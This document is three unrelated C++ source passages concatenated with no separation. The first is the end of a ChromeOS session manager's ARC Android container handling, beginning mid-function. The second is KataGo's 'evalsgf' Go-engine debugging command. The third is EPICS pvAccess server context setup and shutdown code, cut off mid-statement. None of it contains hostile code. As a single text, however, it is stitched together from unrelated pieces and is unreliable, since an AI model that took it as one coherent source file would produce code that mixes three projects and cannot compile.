std::vector<std::string>& env_vars, brillo::ErrorPtr* error_out) { init_controller_->TriggerImpulse(kStartArcInstanceImpulse, env_vars, InitDaemonController::TriggerMode::ASYNC); // Pass in the same environment variables that were passed to arc-setup // (through init, above) into the container invocation as environment values. // When the container is started with run_oci, this allows for it to correctly // propagate some information (such as the CHROMEOS_USER) to the hooks so it // can set itself up. if (!android_container_->StartContainer( env_vars, base::Bind(&SessionManagerImpl::OnAndroidContainerStopped, weak_ptr_factory_.GetWeakPtr()))) { // Failed to start container. Thus, trigger stop-arc-instance impulse // manually for cleanup. init_controller_->TriggerImpulse(kStopArcInstanceImpulse, {}, InitDaemonController::TriggerMode::SYNC); *error_out = CREATE_ERROR_AND_LOG(dbus_error::kContainerStartupFail, "Starting Android container failed."); return false; } pid_t pid = 0; android_container_->GetContainerPID(&pid); LOG(INFO) << "Started Android container with PID " << pid; return true; } std::vector<std::string> SessionManagerImpl::CreateUpgradeArcEnvVars( const UpgradeArcContainerRequest& request, const std::string& account_id, pid_t pid) { // Only allow for managed account if the policies allow it. bool is_adb_sideloading_allowed_for_request = !request.is_account_managed() || request.is_managed_adb_sideloading_allowed(); std::vector<std::string> env_vars = { base::StringPrintf("CHROMEOS_DEV_MODE=%d", IsDevMode(system_)), base::StringPrintf("CHROMEOS_INSIDE_VM=%d", IsInsideVm(system_)), "CHROMEOS_USER=" + account_id, base::StringPrintf("DISABLE_BOOT_COMPLETED_BROADCAST=%d", request.skip_boot_completed_broadcast()), base::StringPrintf("CONTAINER_PID=%d", pid), "DEMO_SESSION_APPS_PATH=" + request.demo_session_apps_path(), base::StringPrintf("IS_DEMO_SESSION=%d", request.is_demo_session()), base::StringPrintf("SUPERVISION_TRANSITION=%d", request.supervision_transition()), base::StringPrintf("ENABLE_ADB_SIDELOAD=%d", arc_sideload_status_->IsAdbSideloadAllowed() && is_adb_sideloading_allowed_for_request)}; switch (request.packages_cache_mode()) { case UpgradeArcContainerRequest_PackageCacheMode_SKIP_SETUP_COPY_ON_INIT: env_vars.emplace_back("SKIP_PACKAGES_CACHE_SETUP=1"); env_vars.emplace_back("COPY_PACKAGES_CACHE=1"); break; case UpgradeArcContainerRequest_PackageCacheMode_COPY_ON_INIT: env_vars.emplace_back("SKIP_PACKAGES_CACHE_SETUP=0"); env_vars.emplace_back("COPY_PACKAGES_CACHE=1"); break; case UpgradeArcContainerRequest_PackageCacheMode_DEFAULT: env_vars.emplace_back("SKIP_PACKAGES_CACHE_SETUP=0"); env_vars.emplace_back("COPY_PACKAGES_CACHE=0"); break; default: NOTREACHED() << "Wrong packages cache mode: " << request.packages_cache_mode() << "."; } if (request.skip_gms_core_cache()) { env_vars.emplace_back("SKIP_GMS_CORE_CACHE_SETUP=1"); } else { env_vars.emplace_back("SKIP_GMS_CORE_CACHE_SETUP=0"); } DCHECK(request.has_locale()); env_vars.emplace_back("LOCALE=" + request.locale()); std::string preferred_languages; for (int i = 0; i < request.preferred_languages_size(); ++i) { if (i != 0) preferred_languages += ","; preferred_languages += request.preferred_languages(i); } env_vars.emplace_back("PREFERRED_LANGUAGES=" + preferred_languages); return env_vars; } void SessionManagerImpl::OnContinueArcBootFailed() { LOG(ERROR) << "Failed to continue ARC boot. Stopping the container."; StopArcInstanceInternal(ArcContainerStopReason::UPGRADE_FAILURE); } bool SessionManagerImpl::StopArcInstanceInternal( ArcContainerStopReason reason) { pid_t pid; if (!android_container_->GetContainerPID(&pid)) return false; android_container_->RequestJobExit(reason); android_container_->EnsureJobExit(kContainerTimeout); return true; } void SessionManagerImpl::OnAndroidContainerStopped( pid_t pid, ArcContainerStopReason reason) { if (reason == ArcContainerStopReason::CRASH) { LOG(ERROR) << "Android container with PID " << pid << " crashed"; } else { LOG(INFO) << "Android container with PID " << pid << " stopped"; } login_metrics_->StopTrackingArcUseTime(); if (!init_controller_->TriggerImpulse( kStopArcInstanceImpulse, {}, InitDaemonController::TriggerMode::SYNC)) { LOG(ERROR) << "Emitting stop-arc-instance impulse failed."; } adaptor_.SendArcInstanceStoppedSignal(static_cast<uint32_t>(reason)); } #endif // USE_CHEETS } // namespace login_manager
#include "../core/global.h" #include "../core/config_parser.h" #include "../core/timer.h" #include "../dataio/sgf.h" #include "../search/asyncbot.h" #include "../program/setup.h" #include "../program/playutils.h" #include "../program/play.h" #include "../command/commandline.h" #include "../main.h" using namespace std; int MainCmds::evalsgf(int argc, const char* const* argv) { Board::initHash(); ScoreValue::initTables(); Rand seedRand; ConfigParser cfg; string modelFile; string sgfFile; int moveNum; string printBranch; string extraMoves; string hintLoc; int64_t maxVisits; int numThreads; float overrideKomi; bool printOwnership; bool printRootNNValues; bool printPolicy; bool printLogPolicy; bool printDirichletShape; bool printScoreNow; bool printRootEndingBonus; bool printLead; int printMaxDepth; bool rawNN; try { KataGoCommandLine cmd("Run a search on a position from an sgf file, for debugging."); cmd.addConfigFileArg("","gtp_example.cfg"); cmd.addModelFileArg(); TCLAP::UnlabeledValueArg<string> sgfFileArg("","Sgf file to analyze",true,string(),"FILE"); TCLAP::ValueArg<int> moveNumArg("m","move-num","Sgf move num to analyze, 1-indexed",true,0,"MOVENUM"); TCLAP::ValueArg<string> printBranchArg("","print-branch","Move branch in search tree to print",false,string(),"MOVE MOVE ..."); TCLAP::ValueArg<string> printArg("p","print","Alias for -print-branch",false,string(),"MOVE MOVE ..."); TCLAP::ValueArg<string> extraMovesArg("","extra-moves","Extra moves to force-play before doing search",false,string(),"MOVE MOVE ..."); TCLAP::ValueArg<string> extraArg("e","extra","Alias for -extra-moves",false,string(),"MOVE MOVE ..."); TCLAP::ValueArg<string> hintLocArg("","hint-loc","Hint loc",false,string(),"MOVE"); TCLAP::ValueArg<long> visitsArg("v","visits","Set the number of visits",false,-1,"VISITS"); TCLAP::ValueArg<int> threadsArg("t","threads","Set the number of threads",false,-1,"THREADS"); TCLAP::ValueArg<float> overrideKomiArg("","override-komi","Artificially set komi",false,std::numeric_limits<float>::quiet_NaN(),"KOMI"); TCLAP::SwitchArg printOwnershipArg("","print-ownership","Print ownership"); TCLAP::SwitchArg printRootNNValuesArg("","print-root-nn-values","Print root nn values"); TCLAP::SwitchArg printPolicyArg("","print-policy","Print policy"); TCLAP::SwitchArg printLogPolicyArg("","print-log-policy","Print log policy"); TCLAP::SwitchArg printDirichletShapeArg("","print-dirichlet-shape","Print dirichlet shape"); TCLAP::SwitchArg printScoreNowArg("","print-score-now","Print score now"); TCLAP::SwitchArg printRootEndingBonusArg("","print-root-ending-bonus","Print root ending bonus now"); TCLAP::SwitchArg printLeadArg("","print-lead","Compute and print lead"); TCLAP::ValueArg<int> printMaxDepthArg("","print-max-depth","How deep to print",false,1,"DEPTH"); TCLAP::SwitchArg rawNNArg("","raw-nn","Perform single raw neural net eval"); cmd.add(sgfFileArg); cmd.add(moveNumArg); cmd.setShortUsageArgLimit(); cmd.addOverrideConfigArg(); cmd.add(printBranchArg); cmd.add(printArg); cmd.add(extraMovesArg); cmd.add(extraArg); cmd.add(hintLocArg); cmd.add(visitsArg); cmd.add(threadsArg); cmd.add(overrideKomiArg); cmd.add(printOwnershipArg); cmd.add(printRootNNValuesArg); cmd.add(printPolicyArg); cmd.add(printLogPolicyArg); cmd.add(printDirichletShapeArg); cmd.add(printScoreNowArg); cmd.add(printRootEndingBonusArg); cmd.add(printLeadArg); cmd.add(printMaxDepthArg); cmd.add(rawNNArg); cmd.parse(argc,argv); modelFile = cmd.getModelFile(); sgfFile = sgfFileArg.getValue(); moveNum = moveNumArg.getValue(); printBranch = printBranchArg.getValue(); string print = printArg.getValue(); extraMoves = extraMovesArg.getValue(); string extra = extraArg.getValue(); hintLoc = hintLocArg.getValue(); maxVisits = (int64_t)visitsArg.getValue(); numThreads = threadsArg.getValue(); overrideKomi = overrideKomiArg.getValue(); printOwnership = printOwnershipArg.getValue(); printRootNNValues = printRootNNValuesArg.getValue(); printPolicy = printPolicyArg.getValue(); printLogPolicy = printLogPolicyArg.getValue(); printDirichletShape = printDirichletShapeArg.getValue(); printScoreNow = printScoreNowArg.getValue(); printRootEndingBonus = printRootEndingBonusArg.getValue(); printLead = printLeadArg.getValue(); printMaxDepth = printMaxDepthArg.getValue(); rawNN = rawNNArg.getValue(); if(printBranch.length() > 0 && print.length() > 0) { cerr << "Error: -print-branch and -print both specified" << endl; return 1; } if(printBranch.length() <= 0) printBranch = print; if(extraMoves.length() > 0 && extra.length() > 0) { cerr << "Error: -extra-moves and -extra both specified" << endl; return 1; } if(extraMoves.length() <= 0) extraMoves = extra; cmd.getConfig(cfg); } catch (TCLAP::ArgException &e) { cerr << "Error: " << e.error() << " for argument " << e.argId() << endl; return 1; } //Parse rules ------------------------------------------------------------------- Rules defaultRules = Rules::getTrompTaylorish(); Player perspective = Setup::parseReportAnalysisWinrates(cfg,P_BLACK); //Parse sgf file and board ------------------------------------------------------------------ CompactSgf* sgf = CompactSgf::loadFile(sgfFile); Board board; Player nextPla; BoardHistory hist; auto setUpBoardUsingRules = [&board,&nextPla,&hist,overrideKomi,moveNum,&sgf,&extraMoves](const Rules& initialRules) { sgf->setupInitialBoardAndHist(initialRules, board, nextPla, hist); vector<Move>& moves = sgf->moves; if(!isnan(overrideKomi)) { if(overrideKomi > board.x_size * board.y_size || overrideKomi < -board.x_size * board.y_size) throw StringError("Invalid komi, greater than the area of the board"); hist.setKomi(overrideKomi); } if(moveNum < 0) throw StringError("Move num " + Global::intToString(moveNum) + " requested but must be non-negative"); if(moveNum > moves.size()) throw StringError("Move num " + Global::intToString(moveNum) + " requested but sgf has only " + Global::int64ToString(moves.size())); sgf->playMovesTolerant(board,nextPla,hist,moveNum,false); vector<Loc> extraMoveLocs = Location::parseSequence(extraMoves,board); for(size_t i = 0; i<extraMoveLocs.size(); i++) { Loc loc = extraMoveLocs[i]; if(!hist.isLegal(board,loc,nextPla)) { cerr << board << endl; cerr << "Extra illegal move for " << PlayerIO::colorToChar(nextPla) << ": " << Location::toString(loc,board) << endl; throw StringError("Illegal extra move"); } hist.makeBoardMoveAssumeLegal(board,loc,nextPla,NULL); nextPla = getOpp(nextPla); } }; Rules initialRules = sgf->getRulesOrWarn( defaultRules, [](const string& msg) { cout << msg << endl; } ); setUpBoardUsingRules(initialRules); //Parse move sequence arguments------------------------------------------ PrintTreeOptions options; options = options.maxDepth(printMaxDepth); if(printBranch.length() > 0) options = options.onlyBranch(board,printBranch); //Load neural net and start bot------------------------------------------ Logger logger; logger.setLogToStdout(true); logger.write("Engine starting..."); SearchParams params = Setup::loadSingleParams(cfg,Setup::SETUP_FOR_GTP); if(maxVisits < -1 || maxVisits == 0) throw StringError("maxVisits: invalid value"); else if(maxVisits == -1) logger.write("No max visits specified on cmdline, using defaults in " + cfg.getFileName()); else { params.maxVisits = maxVisits; params.maxPlayouts = maxVisits; //Also set this so it doesn't cap us either } if(numThreads < -1 || numThreads == 0) throw StringError("numThreads: invalid value"); else if(numThreads == -1) logger.write("No num threads specified on cmdline, using defaults in " + cfg.getFileName()); else { params.numThreads = numThreads; } string searchRandSeed; if(cfg.contains("searchRandSeed")) searchRandSeed = cfg.getString("searchRandSeed"); else searchRandSeed = Global::uint64ToString(seedRand.nextUInt64()); NNEvaluator* nnEval; { Setup::initializeSession(cfg); int maxConcurrentEvals = params.numThreads * 2 + 16; // * 2 + 16 just to give plenty of headroom int expectedConcurrentEvals = params.numThreads; int defaultMaxBatchSize = std::max(8,((params.numThreads+3)/4)*4); string expectedSha256 = ""; nnEval = Setup::initializeNNEvaluator( modelFile,modelFile,expectedSha256,cfg,logger,seedRand,maxConcurrentEvals,expectedConcurrentEvals, board.x_size,board.y_size,defaultMaxBatchSize, Setup::SETUP_FOR_GTP ); } logger.write("Loaded neural net"); { bool rulesWereSupported; Rules supportedRules = nnEval->getSupportedRules(initialRules,rulesWereSupported); if(!rulesWereSupported) { cout << "Warning: Rules " << initialRules << " from sgf not supported by neural net, using " << supportedRules << " instead" << endl; //Attempt to re-set-up the board using supported rules setUpBoardUsingRules(supportedRules); } } // { // sgf->setupInitialBoardAndHist(initialRules, board, nextPla, hist); // vector<Move>& moves = sgf->moves; // for(size_t i = 0; i<moves.size(); i++) { // bool preventEncore = false; // bool suc = hist.makeBoardMoveTolerant(board,moves[i].loc,moves[i].pla,preventEncore); // assert(suc); // nextPla = getOpp(moves[i].pla); // MiscNNInputParams nnInputParams; // nnInputParams.nnPolicyTemperature = 1.2f; // NNResultBuf buf; // bool skipCache = true; // bool includeOwnerMap = false; // nnEval->evaluate(board,hist,nextPla,nnInputParams,buf,skipCache,includeOwnerMap); // NNOutput* nnOutput = buf.result.get(); // vector<double> probs; // for(int y = 0; y<board.y_size; y++) { // for(int x = 0; x<board.x_size; x++) { // int pos = NNPos::xyToPos(x,y,nnOutput->nnXLen); // float prob = nnOutput->policyProbs[pos]; // probs.push_back(prob); // } // } // std::sort(probs.begin(),probs.end()); // cout << probs[probs.size()-1] << " " << probs[probs.size()-2] << " " << probs[probs.size()-3] << endl; // } // return 0; // } //Check for unused config keys cfg.warnUnusedKeys(cerr,&logger); if(rawNN) { NNResultBuf buf; bool skipCache = true; bool includeOwnerMap = true; MiscNNInputParams nnInputParams; nnInputParams.drawEquivalentWinsForWhite = params.drawEquivalentWinsForWhite; nnEval->evaluate(board,hist,nextPla,nnInputParams,buf,skipCache,includeOwnerMap); cout << "Rules: " << hist.rules << endl; cout << "Encore phase " << hist.encorePhase << endl; Board::printBoard(cout, board, Board::NULL_LOC, &(hist.moveHistory)); buf.result->debugPrint(cout,board); return 0; } AsyncBot* bot = new AsyncBot(params, nnEval, &logger, searchRandSeed); bot->setPosition(nextPla,board,hist); if(hintLoc != "") { bot->setRootHintLoc(Location::ofString(hintLoc,board)); } //Print initial state---------------------------------------------------------------- const Search* search = bot->getSearchStopAndWait(); ostringstream sout; sout << "Rules: " << hist.rules << endl; sout << "Encore phase " << hist.encorePhase << endl; Board::printBoard(sout, board, Board::NULL_LOC, &(hist.moveHistory)); if(options.branch_.size() > 0) { Board copy = board; BoardHistory copyHist = hist; Player pla = nextPla; for(int i = 0; i<options.branch_.size(); i++) { Loc loc = options.branch_[i]; if(!copyHist.isLegal(copy,loc,pla)) { cerr << board << endl; cerr << "Branch Illegal move for " << PlayerIO::colorToChar(pla) << ": " << Location::toString(loc,board) << endl; return 1; } copyHist.makeBoardMoveAssumeLegal(copy,loc,pla,NULL); pla = getOpp(pla); } Board::printBoard(sout, copy, Board::NULL_LOC, &(copyHist.moveHistory)); } sout << "\n"; logger.write(sout.str()); sout.clear(); //Search!---------------------------------------------------------------- ClockTimer timer; nnEval->clearStats(); Loc loc = bot->genMoveSynchronous(bot->getSearch()->rootPla,TimeControls()); (void)loc; //Postprocess------------------------------------------------------------ if(printOwnership) { sout << "Ownership map (ROOT position):\n"; search->printRootOwnershipMap(sout,perspective); } if(printRootNNValues) { const NNOutput* nnOutput = search->rootNode->getNNOutput(); if(nnOutput != NULL) { cout << "White win: " << nnOutput->whiteWinProb << endl; cout << "White loss: " << nnOutput->whiteLossProb << endl; cout << "White noresult: " << nnOutput->whiteNoResultProb << endl; cout << "White score mean " << nnOutput->whiteScoreMean << endl; cout << "White score stdev " << sqrt(max(0.0,(double)nnOutput->whiteScoreMeanSq - nnOutput->whiteScoreMean*nnOutput->whiteScoreMean)) << endl; } } if(printPolicy) { const NNOutput* nnOutput = search->rootNode->getNNOutput(); if(nnOutput != NULL) { const float* policyProbs = nnOutput->getPolicyProbsMaybeNoised(); cout << "Root policy: " << endl; for(int y = 0; y<board.y_size; y++) { for(int x = 0; x<board.x_size; x++) { int pos = NNPos::xyToPos(x,y,nnOutput->nnXLen); double prob = policyProbs[pos]; if(prob < 0) cout << " - " << " "; else cout << Global::strprintf("%5.2f",prob*100) << " "; } cout << endl; } double prob = policyProbs[NNPos::locToPos(Board::PASS_LOC,board.x_size,nnOutput->nnXLen,nnOutput->nnYLen)]; cout << "Pass " << Global::strprintf("%5.2f",prob*100) << endl; } } if(printLogPolicy) { const NNOutput* nnOutput = search->rootNode->getNNOutput(); if(nnOutput != NULL) { const float* policyProbs = nnOutput->getPolicyProbsMaybeNoised(); cout << "Root policy: " << endl; for(int y = 0; y<board.y_size; y++) { for(int x = 0; x<board.x_size; x++) { int pos = NNPos::xyToPos(x,y,nnOutput->nnXLen); double prob = policyProbs[pos]; if(prob < 0) cout << " _ " << " "; else cout << Global::strprintf("%+5.2f",log(prob)) << " "; } cout << endl; } double prob = policyProbs[NNPos::locToPos(Board::PASS_LOC,board.x_size,nnOutput->nnXLen,nnOutput->nnYLen)]; cout << "Pass " << Global::strprintf("%+5.2f",log(prob)) << endl; } } if(printDirichletShape) { const NNOutput* nnOutput = search->rootNode->getNNOutput(); if(nnOutput != NULL) { const float* policyProbs = nnOutput->getPolicyProbsMaybeNoised(); double alphaDistr[NNPos::MAX_NN_POLICY_SIZE]; int policySize = nnOutput->nnXLen * nnOutput->nnYLen; Search::computeDirichletAlphaDistribution(policySize, policyProbs, alphaDistr); cout << "Dirichlet alphas with 10.83 total concentration: " << endl; for(int y = 0; y<board.y_size; y++) { for(int x = 0; x<board.x_size; x++) { int pos = NNPos::xyToPos(x,y,nnOutput->nnXLen); double alpha = alphaDistr[pos]; if(alpha < 0) cout << " - " << " "; else cout << Global::strprintf("%5.4f",alpha * 10.83) << " "; } cout << endl; } double alpha = alphaDistr[NNPos::locToPos(Board::PASS_LOC,board.x_size,nnOutput->nnXLen,nnOutput->nnYLen)]; cout << "Pass " << Global::strprintf("%5.2f",alpha * 10.83) << endl; } } if(printScoreNow) { sout << "Score now (ROOT position):\n"; Board copy(board); BoardHistory copyHist(hist); Color area[Board::MAX_ARR_SIZE]; copyHist.endAndScoreGameNow(copy,area); for(int y = 0; y<copy.y_size; y++) { for(int x = 0; x<copy.x_size; x++) { Loc l = Location::getLoc(x,y,copy.x_size); sout << PlayerIO::colorToChar(area[l]); } sout << endl; } sout << endl; sout << "Komi: " << copyHist.rules.komi << endl; sout << "WBonus: " << copyHist.whiteBonusScore << endl; sout << "Final: "; WriteSgf::printGameResult(sout, copyHist); sout << endl; } if(printRootEndingBonus) { sout << "Ending bonus (ROOT position)\n"; search->printRootEndingScoreValueBonus(sout); } sout << "Time taken: " << timer.getSeconds() << "\n"; sout << "Root visits: " << search->getRootVisits() << "\n"; sout << "NN rows: " << nnEval->numRowsProcessed() << endl; sout << "NN batches: " << nnEval->numBatchesProcessed() << endl; sout << "NN avg batch size: " << nnEval->averageProcessedBatchSize() << endl; sout << "PV: "; search->printPV(sout, search->rootNode, 25); sout << "\n"; sout << "Tree:\n"; search->printTree(sout, search->rootNode, options, perspective); logger.write(sout.str()); if(printLead) { BoardHistory hist2(hist); double lead = PlayUtils::computeLead( bot->getSearchStopAndWait(), NULL, board, hist2, nextPla, 20, OtherGameProperties() ); cout << "LEAD: " << lead << endl; } delete bot; delete nnEval; NeuralNet::globalCleanup(); delete sgf; ScoreValue::freeTables(); return 0; }
/** * Copyright - See the COPYRIGHT that is included with this distribution. * pvAccessCPP is distributed subject to a Software License Agreement found * in file LICENSE that is included with this distribution. */ #include <epicsSignal.h> #include <pv/lock.h> #include <pv/timer.h> #include <pv/thread.h> #include <pv/reftrack.h> #define epicsExportSharedSymbols #include <pv/responseHandlers.h> #include <pv/logger.h> #include <pv/serverContextImpl.h> #include <pv/codec.h> #include <pv/security.h> using namespace std; using namespace epics::pvData; using std::tr1::dynamic_pointer_cast; using std::tr1::static_pointer_cast; namespace epics { namespace pvAccess { const Version ServerContextImpl::VERSION("pvAccess Server", "cpp", EPICS_PVA_MAJOR_VERSION, EPICS_PVA_MINOR_VERSION, EPICS_PVA_MAINTENANCE_VERSION, EPICS_PVA_DEVELOPMENT_FLAG); size_t ServerContextImpl::num_instances; ServerContextImpl::ServerContextImpl(): _beaconAddressList(), _ignoreAddressList(), _autoBeaconAddressList(true), _beaconPeriod(15.0), _broadcastPort(PVA_BROADCAST_PORT), _serverPort(PVA_SERVER_PORT), _receiveBufferSize(MAX_TCP_RECV), _timer(new Timer("PVAS timers", lowerPriority)), _beaconEmitter(), _acceptor(), _transportRegistry(), _channelProviders(), _beaconServerStatusProvider(), _startTime() { REFTRACE_INCREMENT(num_instances); epicsTimeGetCurrent(&_startTime); // TODO maybe there is a better place for this (when there will be some factory) epicsSignalInstallSigAlarmIgnore (); epicsSignalInstallSigPipeIgnore (); generateGUID(); } ServerContextImpl::~ServerContextImpl() { try { shutdown(); } catch(std::exception& e) { std::cerr<<"Error in: ServerContextImpl::~ServerContextImpl: "<<e.what()<<"\n"; } REFTRACE_DECREMENT(num_instances); } const ServerGUID& ServerContextImpl::getGUID() { return _guid; } const Version& ServerContextImpl::getVersion() { return ServerContextImpl::VERSION; } void ServerContextImpl::generateGUID() { // TODO use UUID epics::pvData::TimeStamp startupTime; startupTime.getCurrent(); ByteBuffer buffer(_guid.value, sizeof(_guid.value)); buffer.putLong(startupTime.getSecondsPastEpoch()); buffer.putInt(startupTime.getNanoseconds()); } Configuration::const_shared_pointer ServerContextImpl::getConfiguration() { Lock guard(_mutex); if (configuration.get() == 0) { ConfigurationProvider::shared_pointer configurationProvider = ConfigurationFactory::getProvider(); configuration = configurationProvider->getConfiguration("pvAccess-server"); if (configuration.get() == 0) { configuration = configurationProvider->getConfiguration("system"); } } return configuration; } /** * Load configuration. */ void ServerContextImpl::loadConfiguration() { Configuration::const_shared_pointer config = configuration; // TODO for now just a simple switch int32 debugLevel = config->getPropertyAsInteger(PVACCESS_DEBUG, 0); // actually $EPICS_PVA_DEBUG if (debugLevel > 0) SET_LOG_LEVEL(logLevelDebug); // TODO multiple addresses memset(&_ifaceAddr, 0, sizeof(_ifaceAddr)); _ifaceAddr.ia.sin_family = AF_INET; _ifaceAddr.ia.sin_addr.s_addr = htonl(INADDR_ANY); _ifaceAddr.ia.sin_port = 0; config->getPropertyAsAddress("EPICS_PVAS_INTF_ADDR_LIST", &_ifaceAddr); _beaconAddressList = config->getPropertyAsString("EPICS_PVA_ADDR_LIST", _beaconAddressList); _beaconAddressList = config->getPropertyAsString("EPICS_PVAS_BEACON_ADDR_LIST", _beaconAddressList); _autoBeaconAddressList = config->getPropertyAsBoolean("EPICS_PVA_AUTO_ADDR_LIST", _autoBeaconAddressList); _autoBeaconAddressList = config->getPropertyAsBoolean("EPICS_PVAS_AUTO_BEACON_ADDR_LIST", _autoBeaconAddressList); _beaconPeriod = config->getPropertyAsFloat("EPICS_PVA_BEACON_PERIOD", _beaconPeriod); _beaconPeriod = config->getPropertyAsFloat("EPICS_PVAS_BEACON_PERIOD", _beaconPeriod); _serverPort = config->getPropertyAsInteger("EPICS_PVA_SERVER_PORT", _serverPort); _serverPort = config->getPropertyAsInteger("EPICS_PVAS_SERVER_PORT", _serverPort); _ifaceAddr.ia.sin_port = htons(_serverPort); _broadcastPort = config->getPropertyAsInteger("EPICS_PVA_BROADCAST_PORT", _broadcastPort); _broadcastPort = config->getPropertyAsInteger("EPICS_PVAS_BROADCAST_PORT", _broadcastPort); _receiveBufferSize = config->getPropertyAsInteger("EPICS_PVA_MAX_ARRAY_BYTES", _receiveBufferSize); _receiveBufferSize = config->getPropertyAsInteger("EPICS_PVAS_MAX_ARRAY_BYTES", _receiveBufferSize); if(_channelProviders.empty()) { std::string providers = config->getPropertyAsString("EPICS_PVAS_PROVIDER_NAMES", PVACCESS_DEFAULT_PROVIDER); ChannelProviderRegistry::shared_pointer reg(ChannelProviderRegistry::servers()); if (providers == PVACCESS_ALL_PROVIDERS) { providers.resize(0); // VxWorks 5.5 omits clear() std::set<std::string> names; reg->getProviderNames(names); for (std::set<std::string>::const_iterator iter = names.begin(); iter != names.end(); iter++) { ChannelProvider::shared_pointer channelProvider = reg->getProvider(*iter); if (channelProvider) { _channelProviders.push_back(channelProvider); } else { LOG(logLevelDebug, "Provider '%s' all, but missing\n", iter->c_str()); } } } else { // split space separated names std::stringstream ss(providers); std::string providerName; while (std::getline(ss, providerName, ' ')) { ChannelProvider::shared_pointer channelProvider(reg->getProvider(providerName)); if (channelProvider) { _channelProviders.push_back(channelProvider); } else { LOG(logLevelWarn, "Requested provider '%s' not found", providerName.c_str()); } } } } if(_channelProviders.empty()) LOG(logLevelError, "ServerContext configured with no Providers will do nothing!\n"); // // introspect network interfaces // osiSockAttach(); SOCKET sock = epicsSocketCreate(AF_INET, SOCK_STREAM, 0); if (!sock) { THROW_BASE_EXCEPTION("Failed to create a socket needed to introspect network interfaces."); } if (discoverInterfaces(_ifaceList, sock, &_ifaceAddr)) { THROW_BASE_EXCEPTION("Failed to introspect network interfaces."); } else if (_ifaceList.size() == 0) { THROW_BASE_EXCEPTION("No (specified) network interface(s) available."); } epicsSocketDestroy(sock); } Configuration::shared_pointer ServerContextImpl::getCurrentConfig() { ConfigurationBuilder B; std::ostringstream providerName; for(size_t i=0; i<_channelProviders.size(); i++) { if(i>0) providerName<<" "; providerName<<_channelProviders[i]->getProviderName(); } #define SET(K, V) B.add(K, V); { char buf[50]; ipAddrToA(&_ifaceAddr.ia, buf, sizeof(buf)); buf[sizeof(buf)-1] = '\0'; SET("EPICS_PVAS_INTF_ADDR_LIST", buf); } SET("EPICS_PVAS_BEACON_ADDR_LIST", getBeaconAddressList()); SET("EPICS_PVA_ADDR_LIST", getBeaconAddressList()); SET("EPICS_PVAS_AUTO_BEACON_ADDR_LIST", isAutoBeaconAddressList() ? "YES" : "NO"); SET("EPICS_PVA_AUTO_ADDR_LIST", isAutoBeaconAddressList() ? "YES" : "NO"); SET("EPICS_PVAS_BEACON_PERIOD", getBeaconPeriod()); SET("EPICS_PVA_BEACON_PERIOD", getBeaconPeriod()); SET("EPICS_PVAS_SERVER_PORT", getServerPort()); SET("EPICS_PVA_SERVER_PORT", getServerPort()); SET("EPICS_PVAS_BROADCAST_PORT", getBroadcastPort()); SET("EPICS_PVA_BROADCAST_PORT", getBroadcastPort()); SET("EPICS_PVAS_MAX_ARRAY_BYTES", getReceiveBufferSize()); SET("EPICS_PVA_MAX_ARRAY_BYTES", getReceiveBufferSize()); SET("EPICS_PVAS_PROVIDER_NAMES", providerName.str()); #undef SET return B.push_map().build(); } bool ServerContextImpl::isChannelProviderNamePreconfigured() { Configuration::const_shared_pointer config = getConfiguration(); return config->hasProperty("EPICS_PVAS_PROVIDER_NAMES"); } void ServerContextImpl::initialize() { Lock guard(_mutex); // already called in loadConfiguration //osiSockAttach(); ServerContextImpl::shared_pointer thisServerContext = shared_from_this(); // we create reference cycles here which are broken by our shutdown() method, _responseHandler.reset(new ServerResponseHandler(thisServerContext)); _acceptor.reset(new BlockingTCPAcceptor(thisServerContext, _responseHandler, _ifaceAddr, _receiveBufferSize)); _serverPort = ntohs(_acceptor->getBindAddress()->ia.sin_port); // setup broadcast UDP transport initializeUDPTransports(true, _udpTransports, _ifaceList, _responseHandler, _broadcastTransport, _broadcastPort, _autoBeaconAddressList, _beaconAddressList, _ignoreAddressList); _beaconEmitter.reset(new BeaconEmitter("tcp", _broadcastTransport, thisServerContext)); _beaconEmitter->start(); } void ServerContextImpl::run(uint32 seconds) { //TODO review this if(seconds == 0) { _runEvent.wait(); } else { _runEvent.wait(seconds); } } #define LEAK_CHECK(PTR, NAME) if((PTR) && !(PTR).unique()) { std::cerr<<"Leaking ServerContext " NAME " use_count="<<(PTR).use_count()<<"\n"<<show_referrers(PTR, false);} void ServerContextImpl::shutdown() { if(!_timer) return; // already shutdown // abort pending timers and prevent new timers from starting _timer->close(); // stop responding to search requests for (BlockingUDPTransportVector::const_iterator iter = _udpTransports.begin(); iter != _udpTransports.end(); iter++) { const BlockingUDPTransport::shared_pointer& transport = *iter; // joins worker thread transport->close(); // _udpTransports contains _broadcastTransport // _broadcastTransport is referred to be _beaconEmitter if(transport!=_broadcastTransport) LEAK_CHECK(transport, "udp transport") } _udpTransports.clear(); // stop emitting beacons if (_beaconEmitter) { _beaconEmitter->destroy(); LEAK_CHECK(_beaconEmitter, "_beaconEmitter") _beaconEmitter.reset(); } // close UDP sent transport if (_broadcastTransport) { _broadcastTransport->close(); LEAK_CHECK(_broadcastTransport, "_broadcastTransport") _broadcastTransport.reset(); } // stop accepting connections if (_acceptor) { _acceptor->destroy(); LEAK_CHECK(_acceptor, "_acceptor") _acceptor.reset(); } // this will also destroy all channels _transportRegistry.clear(); // drop timer queue LEAK_CHECK(_timer, "_timer") _timer.reset(); // response handlers hold strong references to us, // so must break the cycles LEAK_CHECK(_responseHandler, "_responseHandler") _responseHandler.reset(); _runEvent.signal(); } void ServerContext::printInfo(int lvl) { printInfo(cout, lvl); } void ServerContextImpl::printInfo(ostream& str, int lvl) { if(lvl==0) { Lock guard(_mutex); str << getVersion().getVersionString() << "\n" << "Active configuration (w/ defaults)\n"; Configuration::shared_pointer conf(getCurrentConfig()); #define SHOW(ENV) str << #ENV " = "<<conf->getPropertyAsString(#ENV, std::string())<<"\n"; SHOW(EPICS_PVAS_INTF_ADDR_LIST) SHOW(EPICS_PVAS_BEACON_ADDR_LIST) SHOW(EPICS_PVAS_AUTO_BEACON_ADDR_LIST) SHOW(EPICS_PVAS_BEACON_PERIOD) SHOW(EPICS_PVAS_BROADCAST_PORT) SHOW(EPICS_PVAS_SERVER_PORT) SHOW(EPICS_PVAS_PROVIDER_NAMES) #undef SHOW } else { // lvl >= 1 TransportRegistry::transportVector_t transports; _transportRegistry.toArray(transports); str<<"Clients:\n"; for(TransportRegistry::transportVector_t::const_iterator it(transports.begin()), end(transports.end()); it!=end; ++it) { const Transport::shared_pointer& transport(*it); str<<" "<<transport->getType()<<"://"<<transport->getRemoteName() <<" "<<(transport->isClosed()?"closed!":""); const detail::BlockingServerTCPTransportCodec *casTransport = dynamic_cast<const 